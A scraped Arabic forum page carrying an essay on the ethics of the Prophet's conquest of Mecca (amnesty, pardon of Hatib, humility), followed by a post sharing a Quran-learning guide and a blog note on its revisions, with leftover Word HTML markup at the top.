****** http-*****="*******-Type" *******="text/html; charset=utf-8">****** name="ProgId" *******="Word.Document">****** name="Generator" *******="Microsoft Word 11">****** name="Originator" *******="Microsoft Word 11"><link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CNoUr%5CLOCALS%7E1%5CTemp%5Cmsoht ml1%5C01%5Cclip_filelist.xml"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixed*******>false</w:IgnoreMixed*******> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:"AGA Arabesque"; panose-1:5 0 0 0 0 0 0 0 0 0; mso-font-charset:2; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face {font-family:"Traditional Arabic"; panose-1:2 1 0 0 0 0 0 0 0 0; mso-font-charset:178; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:24577 0 0 0 64 0;} @font-face {font-family:"Comic Sans MS"; panose-1:3 15 7 2 3 3 2 2 2 4; mso-font-charset:0; mso-generic-font-family:script; mso-font-pitch:variable; mso-font-signature:647 0 0 0 159 0;} @font-face {font-family:"Arabic Transparent"; panose-1:2 1 0 0 0 0 0 0 0 0; mso-font-charset:178; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:8193 0 0 0 64 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; text-align:right; mso-pagination:widow-orphan; direction:rtl; unicode-bidi:embed; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} p.MsoFootnoteText, li.MsoFootnoteText, div.MsoFootnoteText {mso-style-noshow:yes; margin:0cm; margin-bottom:.0001pt; text-align:right; mso-pagination:widow-orphan; direction:rtl; unicode-bidi:embed; font-size:10.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} p.MsoFooter, li.MsoFooter, div.MsoFooter {margin:0cm; margin-bottom:.0001pt; text-align:right; mso-pagination:widow-orphan; tab-stops:center 207.65pt right 415.3pt; direction:rtl; unicode-bidi:embed; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} @page Section1 {size:595.3pt 841.9pt; margin:72.0pt 90.0pt 72.0pt 90.0pt; mso-header-margin:35.4pt; mso-footer-margin:35.4pt; mso-paper-source:0; mso-gutter-direction:rtl;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-********:#0400; mso-fareast-********:#0400; mso-bidi-********:#0400;} </style> <![endif]--> أخلاقيات فَتْح مَكَّةَ < o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/244)
22 رمضان 8 هـ- يناير 630 م< o:p></o:p>
<o:p> </o:p>
بقلم: محمد مسعد ياقوت **< o:p></o:p>
رسالة الإسلام < o:p></o:p>
كان فتح مكة، فتح أخلاق ورحمة، قلما نجد في تاريخ البشر فتحًا يضاهي فتح مكة في روعة أخلاقياته، وسمو العفو في طيات أحداثه. < o:p></o:p>
فهو يوم نُصرة المظلوم، ويوم الوفاء والبر، ويوم عز مكة، ويوم التمكين ....... < o:p></o:p>
وقد ازدحمت في هذا اليوم، مشاهد الأخلاق الكريمة، وصور الخلال السجيحة، حتى تيقن الباحثُ في السيرة النبوية؛ أن محاضن التربية التي كانت في دار الأرقم، قد أتت أُكلها، وأينعت ثمارها، وانتفض حية في سلوك الصحابة يوم الفتح؛ تلك الدروس النبوية في العقيدة والأخلاق التي تربى عليها خير جيل.< o:p></o:p>
فلم نسمع يوم الفتح؛ أن رجلاً مسلمًا هتك عرض امرأة، أو سرق شملة، أو هدم بيتًا، أو أفسد زرعًا، أو قتل ظلمًا، أو فزّع طفلاً. كانوا – رضي الله عنهم – مصاحف في مساليخ بشر، تتحرك تتلك المصاحف بين الشوارع والأزقة، أو يتحرك هؤلاء الرجال الربانيون بين أكناف مكة .. في حكمة، ينشرون العدل والحق، وينتشر الإسلام بفضل أخلاقهم انتشار أشعة الشمس، أو فوحان المسك، وترى الواحد منهم – أي من هؤلاء الصحابة الكرام يوم الفتح - كالليث في السكة، فقد فر منه المجرمون، وأمنَّ به الجالس في كسر بيته، والثاوي في بيت ربه. < o:p></o:p>
<o:p></o:p>
نصرة المظلوم < o:p></o:p>
وأول دروس الأخلاق الجلية في يوم الفتحة، هو درس نصرة المظلوم.< o:p></o:p>
فلما تظاهرت بنو بكر وقريش على خزاعة – حلفاء المسلمين -، وأعملوا فيها القتل، وخرقوا العقد؛ أرسلت خزاعة رسولاً إلى رسول الله – صلى الله عليه وسلم – باعتباره شريك عقد وأخ حلف، فخرج عَمْرُو بْنُ سَالِمٍ الْخُزَاعِيّ سراعًا، يجوب الحزون ليلاً ونهارًا، حَتّى قَدِمَ المدينة، فوقف على النبي – صلى الله عليه وسلم – ولم يجلس حتى أخبره الخبر، فلخَّص له الأحداث في قصيدة تاريخية شهيرة، قال فيها: < o:p></o:p>
يَا رَبّ إنّي نَاشِدٌ مُحَمّدًا ... حِلْفَ أَبِينَا وَأَبِيهِ الْأَتْلَدَا< o:p></o:p>
قَدْ كُنْتُمْ وُلْدًا وَكُنّا وَالِدَا ... ثُمّتَ أَسْلَمْنَا فَلَمْ نَنْزِعْ يَدَا< o:p></o:p>
فَانْصُرْ هَدَاكَ اللّهُ نَصْرًا أَعْتَدَا ... وَادْعُ عِبَادَ اللّهِ يَأْتُوا مَدَدَا< o:p></o:p>
فِيهِمْ رَسُولُ اللّهِ قَدْ تَجَرّدَا ... إنْ سِيمَ خَسْفًا وَجْهُهُ تَرَبّدَا< o:p></o:p>
فِي فَيْلَقٍ كَالْبَحْرِ يَجْرِي مُزْبِدًا ... إنّ قُرَيْشًا أَخْلَفُوك الْمَوْعِدَا< o:p></o:p>
وَنَقَضُوا مِيثَاقَك الْمُوَكّدَا ... وَجَعَلُوا لِي فِي كَدَاءٍ رُصّدَا< o:p></o:p>
وَزَعَمُوا أَنْ لَسْتُ أَدْعُو أَحَدَا ... وَهُمْ أَذَلّ وَأَقَلّ عَدَدَا< o:p></o:p>
هُمْ بَيّتُونَا بِالْوَتِيرِ هُجّدًا ... وَقَتَلُونَا رُكّعًا وَسُجّدَا< o:p></o:p>
فقال رسول الله – صلى الله عليه وسلم -: < o:p></o:p>
" نُصِرْتَ يَا عَمْرَو بْنُ سَالِمٍ!!! " [ابن هشام2/ 393] < o:p></o:p>
واستبشر رسول الله – صلى الله عليه وسلم – وتفائل؛ فعَرَضَ لِرَسُولِ اللّهِ - صَلّى اللّهُ عَلَيْهِ وَسَلّمَ - عَنَانٌ مِنْ السّمَاءِ، فَقَالَ: < o:p></o:p>
" إنّ هَذِهِ السّحَابَةَ لَتَسْتَهِلّ بِنَصْرِ بَنِي كَعْبٍ " [ابن هشام 2/ 393].< o:p></o:p>
لقد اعتمل فؤادُ رسول الله – صلى الله عليه وسلم – غيظًا على هذا الظلم الصريح، فلم يقر حتى انتدب لنصرة حلفائه، والتجهز للتنكيل بأعدائه، الذين انتهكوا الحرمات، وسفكوا الدماء.< o:p></o:p>
إنها نصرة المظلوم، وإغاثة المكلوم، تلك الخصلة الإسلامية الكريمة، والخلة العربية الأصيلة، وليس من المسلمين من لم يهتم بأمرهم، فيناصرهم ويذود عنهم .. وملعونٌ ذلك الذي شهد موقفًا يُظلم فيه المظلوم، وانقلب خسيئًا سلبيًا لم ينصر أخاه ببنت شفة – وهو يقدر. < o:p></o:p>
وفي الأثر: لعن الله من رأى مظلوما فلم ينصره. من أُذل عنده مؤمن وهو قادر على أن ينصره فلم ينصره أذله الله يوم القيامة على رؤوس الخلائق. < o:p></o:p>
وقد قال رسول الله – صلى الله عليه وسلم -: < o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/245)
"الْمُؤْمِنُ لِلْمُؤْمِنِ كَالْبُنْيَانِ يَشُدُّ بَعْضُهُ بَعْضًا [وَشَبَّكَ بَيْنَ أَصَابِعِهِ] " [البخاري: 2266] < o:p></o:p>
فالمؤمن لأخيه كالبنيان، يقوّيه ويمنعه من ظلم الظالمين، وبغي الباغين، وغُشم الغاشمين. وقد شبَّك رسول الله – صلى الله عليه وسلم – بين أصابعه، ممثلاً لتلك العلاقة التي تربط بين الإخوان وبعضهم، فهي كالأصابع المتضاغمة، كتلك الشبَكة التي لا غناء لها عن عقدة من عقدها. وقد خاب من حمل ظلمًا. < o:p></o:p>
أما والله إن الظلم لؤم ... وما زال الظلوم هو الملوم< o:p></o:p>
<o:p> </o:p>
نبذ الهدنة مع الخونة < o:p></o:p>
والإبقاء على عهد الخائن الهَوجَل؛ ليس من الخُلق في شيء، بل الأخْلقُ نبذ عهده، وشق موادعته، وخليق بإمام المسلمين ألا يحوْل عهد الغَدرةِ دون نصرة البررة، وحقيقٌ أن بنود صلح الحديبية تسقط فور إخلال أحد الأطراف ببند من البنود. < o:p></o:p>
ولقد استند رسول الله – صلى الله عليه وسلم – في نصرته لخزاعة، إلى أصل أصيل، مفاده أن العدو إذا حارب من هم في جوار المسلمين أو في حلفهم أو في ذمتهم، صار العدو بذلك محاربًا لسلطان المسلمين، وبذلك يصبح المسلمون في حِلِّ من أي اتفاقات مبرمة، أو معاهدات سابقة، وذلك لسبب وجيه: أن العدو نفسه نقَضها باعتدائه على حلفاء المسلمين، وما على إمام المسلمين عار إذا باغت العدو حينئذ في عقره، ودخل عليهم بغتة، أما إذا شك إمام المسلمين في كون العدو على العهد أو تحول إلى النقض؛ فلا يجوز للإمام في هذه الحالة مباغتة العدو، إلا بعد إعلامهم بنبذ العهد، وذلك حتى لا يُؤثر عن المسلمين الغدر، ودليل ذلك قول الله تعالى: < o:p></o:p>
" وَإِمَّا تَخَافَنَّ مِن قَوْمٍ خِيَانَةً فَانبِذْ إِلَيْهِمْ عَلَى سَوَاء إِنَّ اللّهَ لاَ يُحِبُّ الخَائِنِينَ " [الأنفال58] < o:p></o:p>
<o:p> </o:p>
العفو عن صاحب السبق إذا ذل< o:p></o:p>
فهذا حاطب، ذل، وتخابر مع العدو، فأرسل إليهم كتابًا يخبرهم فيه بمقدم جيش المسلمين، وأرسل هذا الكتاب إليهم مع " مُطربة " تجوب بين القبائل تغني، فأرسل رسول الله – صلى الله عليه وسلم – في إثر هذه المغنية، وتم مصادرة خطاب حاطب، ورُفع الأمر إلى حضرة النبي – صلى الله عليه وسلم – ليفصل في هذه القضية، فدليل التخابر موجود، والمتهم مُعترف، بل قال – مبررًا -:< o:p></o:p>
" يَا رَسُولَ اللَّهِ! لا تَعْجَلْ عَلَيَّ، إِنِّي كُنْتُ امْرَأً مُلْصَقًا فِي قُرَيْشٍ .. كُنْتُ حَلِيفًا وَلَمْ أَكُنْ مِنْ أَنْفُسِهَا، وَكَانَ مَنْ مَعَكَ مِنْ الْمُهَاجِرِينَ مَنْ لَهُمْ قَرَابَاتٌ يَحْمُونَ أَهْلِيهِمْ وَأَمْوَالَهُمْ، فَأَحْبَبْتُ إِذْ فَاتَنِي ذَلِكَ مِنْ النَّسَبِ فِيهِمْ، أَنْ أَتَّخِذَ عِنْدَهُمْ يَدًا يَحْمُونَ قَرَابَتِي، وَلَمْ أَفْعَلْهُ ارْتِدَادًا عَنْ دِينِي، وَلَا رِضًا بِالْكُفْرِ بَعْدَ الْإِسْلَامِ " [البخاري: (3939)] < o:p></o:p>
وكانت مبررات حاطب هذه كلها، محض شَعْبذة وهراء .. < o:p></o:p>
وكان حُكم رسول الله العفو! < o:p></o:p>
وذلك لسبب استثنائي دامغ: < o:p></o:p>
أن حاطبًا قد شهد بدرًا، وأن الله قد تاب على حاطب، فقال لأهل بدر: اعملوا ما شئتم فقد غفرت لكم، وحاشا أن يُكذب الله، وأن عملية التخابر لم تتم ولم تنجح .. < o:p></o:p>
ولقد أَكلتْ هذه الفعلة الشنعاء قلبَ عمر – فأراد أن يستئذن رسول الله في قتل حاطب -فقال: " يَا رَسُولَ اللَّهِ دَعْنِي أَضْرِبْ عُنُقَ هَذَا الْمُنَافِقِ". < o:p></o:p>
فَقَالَ: " إِنَّهُ قَدْ شَهِدَ بَدْرًا! وَمَا يُدْرِيكَ لَعَلَّ اللَّهَ اطَّلَعَ عَلَى مَنْ شَهِدَ بَدْرًا .. فَقَالَ اعْمَلُوا مَا شِئْتُمْ فَقَدْ غَفَرْتُ لَكُمْ! " .. < o:p></o:p>
فَأَنْزَلَ اللَّهُ السُّورَةَ: < o:p></o:p>
" يَا أَيُّهَا الَّذِينَ آمَنُوا لَا تَتَّخِذُوا عَدُوِّي وَعَدُوَّكُمْ أَوْلِيَاءَ تُلْقُونَ إِلَيْهِمْ بِالْمَوَدَّةِ وَقَدْ كَفَرُوا بِمَا جَاءَكُمْ مِنْ الْحَقِّ إِلَى قَوْلِهِ فَقَدْ ضَلَّ سَوَاءَ السَّبِيلِ " [البخاري: (3939)].< o:p></o:p>
<o:p> </o:p>
(يُتْبَع .. اقلب الصفحة)
(61/246)
وفي عفوه – صلى الله عليه وسلم – عن حاطب، يدل على أهمية العفو عن أصحاب السبق والفضل في الإسلام إذا ما وقعوا في خطيئة أو ذلت أقدامهم في مصيبة .. < o:p></o:p>
<o:p> </o:p>
وفي هذا الموقف – أيضًا - دلالة على عدم جواز التخابر لصالح العدو، ولا يجوز للمسلمين أن يتخذوا من أعداء الله أولياء يلقون إليهم بالمودة .. < o:p></o:p>
<o:p> </o:p>
حظر الشعارات والهتافات غير الأخلاقية: < o:p></o:p>
وفي نشوة الفتح، وشذى النصر الفواح، صاح قائد الأنصار سعد بن عبادة: " الْيَوْمَ يَوْمُ الْمَلْحَمَةِ! الْيَوْمَ تُسْتَحَلُّ الْكَعْبَةُ! " < o:p></o:p>
فَقَالَ النبي – صلى الله عليه وسلم -: "كَذَبَ سَعْدٌ، وَلَكِنْ هَذَا يَوْمٌ يُعَظِّمُ اللَّهُ فِيهِ الْكَعْبَةَ، وَيَوْمٌ تُكْسَى فِيهِ الْكَعْبَةُ " [صحيح البخاري (3944)] < o:p></o:p>
وأمر بالراية - راية الأنصار - أن تؤخذ من سعد بن عبادة كالتأديب له، ويقال: إنها دفعت إلى ابنه قيس بن سعد. [ابن كثير: 3/ 559]. < o:p></o:p>
وفيه، دلالة على حظر فحش القول وهُجره في الشعارات والهتافات، خاصة في المؤتمرات والتظاهرات، فليس من أخلاقنا، أن نتخلق بأخلاق الغوغاء ممن يتهفون بأفظع الهجاء. فإذا هتفنا أو شعِرنا أو نَظَمْنا الشعارات، أو نثرنا الأسجاع؛ في تظاهرة أو مؤتمر، فإنما يكون بأطايب الكلام، وبأحاسن الألفاظ، فديننا دين مكارم الأخلاق. والله يكره الفاحش البذيء، واللعان الطعان. < o:p></o:p>
<o:p></o:p>
تواضع الفاتحين الإسلاميين< o:p></o:p>
كأنه وهو فرد من جلالته ... في عسكر حين تلقاه وفي حشم < o:p></o:p>
ودخل نبي الله – صلى الله عليه وسلم – مكة، شاخص الطرف، باسط الكف، شاكرًا حامدًا ربه، خفيض الرأس، معتمًا بعمامة سوداء، وهو واضع رأسه تواضعًا لله، حين رأى ما أكرمه الله به من الفتح، حتى إن ذقنه ليكاد يمس واسطة الرحل .. < o:p></o:p>
ويلهج صوته بالقرآن، قارئَا سورة الفتح. < o:p></o:p>
يتراءى للناس رويدًا رويدًا، كالكوكب المشبوب رونقًا وبهاءً.< o:p></o:p>
يَشقُ بجحافله البيداءَ شقًا، شامخَا باذخًا، في جَلْجَلة وصَلْصَلة، يحفه خير أجناد الله، عليهم وَقَار البطولة، ومَخَايل الظفر .. كلهم، كلهم في انتظار إشارة منه لتتحول مكة إلى حمام دم، ومذبحة يشيبُ لها الأمْرَد، وخسف وهدم، ليدمدموا مكة على رءوس المشركين، فهم الذين عذّبوا المسلمين أيام عهد مكة، وسجنوهم وحصروهم وأخرجوهم. < o:p></o:p>
ولكن ما حدث ليس ذلك، بل أصدر العفو العام. < o:p></o:p>
<o:p> </o:p>
العفو العام عند المقدرة < o:p></o:p>
وماذا عن العفو العام، الذي أطنب فيه المفكرون عبر حقب التاريخ؟ < o:p></o:p>
بعدما أمنَّ الجميع، في بيوتهم ومساجدهم، وقال:: "كُفُّوا عَنْ الْقَوْمِ إِلَّا أَرْبَعَةً" [الترمذي: 3054]، وقال: " لا يُقْتَلُ قُرَشِيٌّ صَبْرًا بَعْدَ هَذَا الْيَوْمِ إِلَى يَوْمِ الْقِيَامَةِ " [مسلم: (3334)].< o:p></o:p>
يقول "واشنجتون ايرفنج"، في كتابه (حياة محمد)، معلقًا على قرار العفو العام:< o:p></o:p>
" كانت تصرفات الرسول [صلى الله عليه وسلم] في [أعقاب فتح] مكة تدل على أنه نبي مرسل لا على أنه قائد مظفر. فقد أبدى رحمة وشفقة على مواطنيه برغم أنه أصبح في مركز قوي. ولكنه توّج نجاحه وانتصاره بالرحمة والعفو" [واشنجتون ايرفنج: حياة محمد 72.].< o:p></o:p>
ويقول: إميل درمنغم:< o:p></o:p>
" فقد برهن [محمد r] في انتصاره النهائي، على عظمة نفسية؛ قلَّ أن يوجد لها مثال في التاريخ؛ إذ أمر جنوده أن يعفوا عن الضعفاء والمسنين والأطفال والنساء، وحذرهم أن يهدموا البيوت، أو يسلبوا التجار، أو أن يقطعوا الأشجار المثمرة، وأمرهم ألا يجردوا السيوف إلا في حال الضرورة القاهرة، بل رأيناه يؤنب بعض قواده ويصلح أخطاءهم إصلاحاً مادياً ويقول لهم: إن نفساً واحدة خير من أكثر الفتوح ثراء! " [انظر: بشرى زخاري ميخائيل: محمد رسول الله هكذا بشرت به الأناجيل، ص50].< o:p></o:p>
<o:p> </o:p>
(يُتْبَع .. اقلب الصفحة)
(61/247)
إن أخلاقيات العفو العام، هي أخلاقيات تمخضت عن نفوس أُشربت الربانية، وشربت من كأس التربية ثمالتها، وإن أمثال هؤلاء ممن تربوا على التراحم فيما بينهم والتآخي والتغافر، لخليق بهم أن يحملوا راية التمكين في الأرض، فما أعظم هذه النفوس التي ذاقت ويلات التعذيب في رمضاء مكة، حتى إذا أمكنهم الله من رقاب أعداءهم، أَعطوا العفو، وجنَّبوا القود، فمسألة التمكين عند هؤلاء الإسلاميين ليست حكاية تصفية حسابات، وليست حكاية غرس أعواد المشانق لمن شنقوهم، فشنقًا بشنق وتنكيلاً بتنكيل، وليست قضيتهم قضية مطالَبات وتِرات، وثارات ودِيَّات، بل يعتبرون الإيذاء ضريبة التمكين، ووسام على صدور المؤمنين .. فهؤلاء الإسلاميون لا يحملون بين جنباتهم جذوة الثأر، إنما يحملون بميامنهم شعلة القرآن، وبميامنهم الآخرى شعلة السُنة، وبين ذلك يحملون قلبًا خالصًا للرب، صادقًا في الغاية. < o:p></o:p>
<o:p></o:p>
إنتماء القائد لأنصاره:< o:p></o:p>
ويكأن الناظر ظن، أن رسول الله ضن بأهله المكيين، فأصدر عفوه، وأمنَّ عدوه، فقال: " مَنْ دَخَلَ دَارَ أَبِي سُفْيَانَ فَهُوَ آمِنٌ، وَمَنْ أَلْقَى السِّلَاحَ فَهُوَ آمِنٌ، وَمَنْ أَغْلَقَ بَابَهُ فَهُوَ آمِنٌ " [مسلم: (3332)].< o:p></o:p>
فقال بعض الأنصار: أَمَّا الرَّجُلُ [يقصدون النبي صلى الله عليه وسلم] فَقَدْ أَخَذَتْهُ رَأْفَةٌ بِعَشِيرَتِهِ وَرَغْبَةٌ فِي قَرْيَتِهِ! < o:p></o:p>
فنبَّأه العليمُ الخبير .. < o:p></o:p>
فجمع رسول الله – صلى الله عليه وسلم – الأنصار، وقال: < o:p></o:p>
" قُلْتُمْ أَمَّا الرَّجُلُ فَقَدْ أَخَذَتْهُ رَأْفَةٌ بِعَشِيرَتِهِ وَرَغْبَةٌ فِي قَرْيَتِهِ، أَلَا فَمَا اسْمِي إِذًا!؟ أَلا فَمَا اسْمِي إِذًا!؟ أَلَا فَمَا اسْمِي إِذًا!؟ أَنَا مُحَمَّدٌ عَبْدُ اللَّهِ وَرَسُولِهِ،هَاجَرْتُ إِلَى اللَّهِ وَإِلَيْكُمْ، فَالْمَحْيَا مَحْيَاكُمْ وَالْمَمَاتُ مَمَاتُكُمْ!! "< o:p></o:p>
فبكوا، وأرسلوا عبرات الحب، وزفرات الضن بقائدهم، قائلين: < o:p></o:p>
" وَاللَّهِ مَا قُلْنَا إِلا ضِنًّا بِاللَّهِ وَرَسُولِهِ! " .. < o:p></o:p>
وتفَّهمَ القائد هذه المشاعر النبيلة، وكأنه لامس مشاعرهم الصادقة في سيوداء قلوبهم، فقال:< o:p></o:p>
" فَإِنَّ اللَّهَ وَرَسُولَهُ يُصَدِّقَانِكُمْ وَيَعْذِرَانِكُمْ" [مسلم: (3332)].< o:p></o:p>
<o:p> </o:p>
يا صاحب الفتح! صلى الله عليك! < o:p></o:p>
لقد قيض الله لك أنصارًا لا يطمعون في شيء بين الخافقين إلا في رضاك عنهم وقربك منهم. ولا يبغون لعاعة من الدنيا، إنما يأملون أن يعودا إلى ديارهم في المدينة المنورة - وقد رجعوا بك في رحالهم.< o:p></o:p>
<o:p> </o:p>
يوم بِرٍ ووفاء < o:p></o:p>
وجاء علي بن أبي طالب، يطلب من رسول الله – صلى الله عليه وسلم – أن يجمع له شرف الحجابة مع السقاية، وقد كان مفتاح الكعبة مع عثمان بن طلحة، وقد طلب النبي منه تسليم المفتاح ليصلي في جوف الكعبة، ثم رده إليه قائلاً: < o:p></o:p>
" هَاكَ مِفْتَاحَك يَا عُثْمَانُ، الْيَوْمُ يَوْمُ بِرّ وَوَفَاءٍ " [ابن هشام 2/ 412] < o:p></o:p>
ولم يكن يوم ظلم وعدوان. أو مكر وخُتل.< o:p></o:p>
وقد كان في استطاعة الرسول – صلى الله عليه وسلم – أن يضع مفتاح الكعبة في بني هاشم أو في يد زعيم من زعماء الصحابة. فقد كان إعلاء قيم البر الوفاء أولى من الاستئثار بمفتاح الكعبة، ولم يكن من شيم الفاتحين الإسلاميين سلب الأملاك وكرائم الأموال ونفائس الآثار؛ إن ذلك من شأن الإنقلابيين الفاسدين الذي إذا وصلوا إلى سُدة الحُكم – جَبريةً -، أكلوا كل شيء عنوة، قصور ومجوهرات، ومال وعقارات- كما فعل أصحاب الثورات النكدة السوداء، حيث يتحول فريق الإنقلاب من أبطال كفاح ونضال، إلى لصوص كبار، ومعربدين فجار، وخونة غَّدار، فلا يتركون صادحًا ولا باغمًا، ولاخفًا ولا حافرًا، ولا شيئًا مما تنبت الأرض من قثائها وفومها وعدسها وبصلها إلا أتوْ عليه، حتى لعاعة الفقير اللابط بالأرض، الذي يبيت طاويًا، لا يجد أكسار بقرة .. يشتهي ظِلفَا يمسك رمقه، أو عرقوبًا يُطفىء لوعته، ولا يجده.< o:p></o:p>
... <o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/248)
هذه دروس في أخلاقيات الفتح؛ تشي بأحقية الناشيء الصابر في الظفر والتمكين والسؤدد، فأقرب الدعاة إلى التمكين أحاسنهم أخلاقًا، وأحق الدعوات بالنجاح أكارمها أخلاقًا، وكذلك الحال في الجماعات والدول والحضارات، فالأخلاق عماد الحضارات، وكم من حضارة زالت بشؤم ظالم فاسد، وعربيد خليع، ومرقص لعوب! < o:p></o:p>
وكم من أناس عاشوا يزفون الفتوحات إلى الأمة، ولم يغنموا من غنائم النصر عقال بعير، أو سلاح غفير، فقضوا نحبهم دون أن تتمرغ أجسامهم في ريش النصر وفراش النعيم والوثير؛ وكانت القبور مساكنهم. فلهم ثواب الله. فأنعم به وأكرم من ثواب! < o:p></o:p>
وآخرون قطفوا ثمرة الفتح سهلة، وقد تعبَ وجاهدَ في سبيلها غيرهم، ونسوا حظًا من تعاليم الإسلام، وطال عليهم الأمد، وقست قلوبهم، وتلَّهوا بالنساء والبنين والمال والأنعام والحرث، وشغلتهم أموالهم وأهلوهم عن منهج الله، واستوردوا دساتير اليهود والنصارى، واتَّبعوهم في ثقافاتهم حذو القذة بالقذة، وتصعلكوا لأعداء الأمة، وجلبوا للمسلمين كل مَضَرَّة ومَعَرَّة .. وأوليئك هم الرُّقعاء السفهاء، الذين أضاعوا المجد، وباعوا العِرض، وهم لصوص الأمة، وإن اعتلوا ذُؤابة منبر المجد، الذي بناه الفاتحون الصادقون. < o:p></o:p>
فعسى الله أن يأتي بفتح جديد، وفاتح مجيد، فيعود المجد التليد! < o:p></o:p>
نقلاً عن موقع رسالة الإسلام < o:p></o:p> (http://www.islammessage.com/articles.aspx?cid=1&acid=15&aid=4287)
الاثنين 15 رمضان 1429 الموافق 15 سبتمبر 2008< o:p></o:p>
___________________<o:p></o:p>
** عضو الاتحاد العالمي لعلماء المسلمين، والمشرف العام على موقع نبي الرحمة، ومستشار لموقع إسلام أون لاين في النطاق الشرعي. < o:p></o:p>
yakoote@gmail.com (yakoote@gmail.com)<o:p></o:p>
http://yakut.blogspot.com/ (http://yakut.blogspot.com/)<o:p></o:p>
<o:p> </o:p>
<o:p> </o:p>
ـ[أحمد عادل كمال]ــــــــ[07 - 10 - 08, 04:21 م]ـ
الحمد لله,,,,,,,وو(61/249)
رمضانيات المساهم (16): كتاب الدليل إلى تعلم كتاب الله الجليل (لأول مرة) Pdf
ـ[المساهم]ــــــــ[16 - 09 - 08, 01:02 ص]ـ
الكتاب السادس عشر
الدليل إلى تعلم كتاب الله الجليل
تأليف
حسانة بنت محمد ناصر الدين الألباني
سكينة بنت محمد ناصر الدين الألباني
التحميل
archive (http://www.archive.org/details/aljalel) أو adrive (http://www.adrive.com/public/8628294dd5274468c508b9291da08973a6195487624539f79b 619620cd65a5cd.html)
بطاقة الكتاب
العنوان: الدليل إلى تعلم كتاب الله الجليل.
المؤلف: حسانة بنت محمد ناصر الدين الألباني وسكينة بنت محمد ناصر الدين الألباني.
دار النشر: المكتبة الإسلامية.
سنة الطبع: الطبعة الأولى (1425هـ / 2004م).
نوع التغليف: ثلاث مجلدات
ـ[أبو طلحة الحضرمي]ــــــــ[16 - 09 - 08, 02:19 ص]ـ
جزاك الله خيرًا ونفع الله بابنتي الشيخ الألباني
ـ[طه محمد عبدالرحمن]ــــــــ[16 - 09 - 08, 02:40 ص]ـ
بارك الله فيك ..
ـ[عمر باعلوي]ــــــــ[16 - 09 - 08, 07:56 ص]ـ
جزاك الله خيرًا
ـ[أبو عمرو المغربي]ــــــــ[16 - 09 - 08, 05:25 م]ـ
جزاك الله خيرا
ـ[حسين بن محمد]ــــــــ[18 - 08 - 09, 07:43 ص]ـ
جزاكم الله خيرا وبارك فيكم ..
الخميس، فبراير 19، 2009
طَرَفٌ من التعديل على الدليل ( http://tamammennah.blogspot.com/2009/02/blog-post_19.html)
بسم الله الرحمن الرحيم
حمدًا لله على نعمائه، والصلاة والسلام على خاتم رسله وأنبيائه، وعلى المتمسكين بهديه صحبه وحاملي لوائه
أما بعد
فإنّا كنّا قد نبّهنا إلى أن ثمة تعديلات نجريها على "كتاب الدليل إلى تعليم كتاب الله الجليل"، ولا زال أمامنا أشواط نقطعها في ذلك إلى حين ظهور الطبعة المنقحة، والتي ستكون ناسخة لهذه المنتشرة الآن – في الأيدي وفي المكتبات وفي الشبكة-، فعليه، واستعجالاً للخير؛ فإننا ننبه إلى أنّ أحد أهمّ التعديلات هو:
إلغاء ما يسمى بـ (حصة القراءة الجماعية)؛ فقد كنا أخذنا بالرأي القائل بجواز ذلك في باب التعليم، لكننا الآن لا نرتضي ذلك ألبتة، فقد منّ الله علينا بالوقوف على كلام أهل العلم في هذا – للوالد رحمه الله وغيره -، فعمدنا إلى تقسيمٍ آخر لِلّقاء الدراسيّ، سيراه قُرّاءُ الطبعةِ المنقحة، إن شاء الله تبارك وتعالى.
ومن التعديلات: إلغاءُ الإرشادِ إلى كتابةِ التوجيهاتِ على المصحف الشريف، واستبدال ذلك بالإرشاد إلى الكتابة على دفتر خاص، والتفصيل سيكون في الطبعة القادمة إن شاء الله.
وعدّلنا العديد من العبارات التي وجدنا أنها تحتاج لذلك ..
وإنا نختصر بيان هذه التعديلات بعبارة موجزة نقتدي فيها بأئمتنا الأعلام، والذين منهم الشافعي الإمام رحمه الله، فنقول:
"إذا وجدتم في كتابنا خلافَ سُنّة رسول الله صلى الله عليه وسلم؛ فقولوا بسُنّة رسول الله صلى الله عليه وسلم، ودعوا ما قلنا".
ألا هل بلّغنا؟
اللهم فاشهد
والحمد لله رب العالمين.
حسانة وسكينة ابنتا الألباني غفر الله لهم
مرسلة بواسطة سُكَينة بنت محمد ناصر الدين الألبانية في < a title="permanent link" rel="bookmark" href="http://tamammennah.blogspot.com/2009/02/blog-post_19.html" class="timestamp-link"><abbr title="2009-02-19T21:45:00+03:00" class="published">9:45 م</ abbr> (http://www.blogger.com/post-edit.g?blogID=5929976063253904490&postID=7918200569649305931)
